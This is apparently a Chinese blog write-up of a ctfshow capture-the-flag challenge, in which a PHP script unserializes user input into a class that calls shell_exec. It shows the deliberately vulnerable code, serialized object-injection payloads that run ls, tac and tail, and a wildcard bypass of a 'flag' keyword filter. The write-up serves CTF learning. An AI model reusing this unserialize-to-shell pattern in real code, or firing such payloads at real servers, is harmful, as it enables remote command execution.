ctfshow菜狗 web webshell

 <?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {        #这里的i表示忽略大小写
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?> 

提供的代码是一个PHP脚本,看起来是一个Webshell。Webshell是一种恶意脚本,可以上传到Web服务器上,以获取未经授权的访问和对服务器的控制。它允许攻击者在服务器上执行任意命令,并可能进行恶意活动。

让我们逐步分解代码:

error_reporting(0) 这一行将错误报告级别设置为0,这意味着不会显示任何PHP错误或警告。这通常在恶意脚本中使用,以隐藏可能暴露Webshell存在的任何错误。

代码定义了一个名为 Webshell 的类。它有一个公共属性 $cmd,其初始值为 'echo "Hello World!"'。

__construct() 方法是类的构造函数,它调用 init() 方法。

init() 方法检查 $cmd 变量中的字符串是否不包含大小写不敏感的子字符串 "flag"。如果条件为真,则调用 exec() 方法,传递 $cmd 的值。

exec() 方法使用 shell_exec() 函数执行命令,并将结果打印输出。

如果通过GET请求传递了名为 cmd 的参数,代码将尝试对参数进行反序列化,并调用 $unserializecmd->init() 方法。否则,代码将显示自身的源代码


php在线工具
https://www.baidu.com/link?url=iQEnbsG20g-idYW1OwoZEuyAGLm06JW72edz3flliss9rYjCL7JOyLKKwD9GaIa6&wd=&eqid=814264de0005f4ab0000000464631855

根据代码逻辑
创建一个Webshell类的实例$test
然后通过_construct()函数传入cmd的参数,这里设置cmd=ls
最后使用 serialize() 函数将该实例序列化并输出。
在php代码里添加以下

$test = new Webshell();
$test->cmd = 'ls';
echo serialize($test);

Q:为什么不能这样传参?
$test = new Webshell($cmd='ls');
echo serialize($test);
因为构造函数_construct()的形式

可以把构造函数改成下面这样,上面的传参语句就对了
public function __construct($cmd = 'echo "Hello World!"') {
        $this->cmd = $cmd;
        $this->init();
    }

得到的结果里
</code>Hello World!
O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}
了解到它的格式,字母O,8位,“Webshell”,1,s,3位,cmd,s,位数,“真正想执行的命令”
输入网页:
http://e40be2e3-c4ce-401a-8ece-5fea5a399148.challenge.ctf.show/
?cmd=O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}
得到目录信息:
flag.php index.php


O:8:"Webshell":1:{s:3:"cmd";s:6:"tac f*";} 
这里用tac命令,然后由于在源码中看到,不能直接用flag,所以用f*来模糊匹配
这里tac是逆序输出,从最后一行开始
$flag = 'xxxxxxxxxxxxxx'; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-04 00:14:17 # @Last Modified by: h1xa # @Date: 2020-09-04 00:14:07 # @Author: h1xa # -*- coding: utf-8 -*- /*

O:8:"Webshell":1:{s:3:"cmd";s:7:"tail f*";}
# @Author: h1xa # @Date: 2020-09-04 00:14:07 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:14:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ $flag = 'xxxxxxxxxxxxxx';

tac和tail可以打开,不知道为什么不能用cat和head命令打开文件?

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值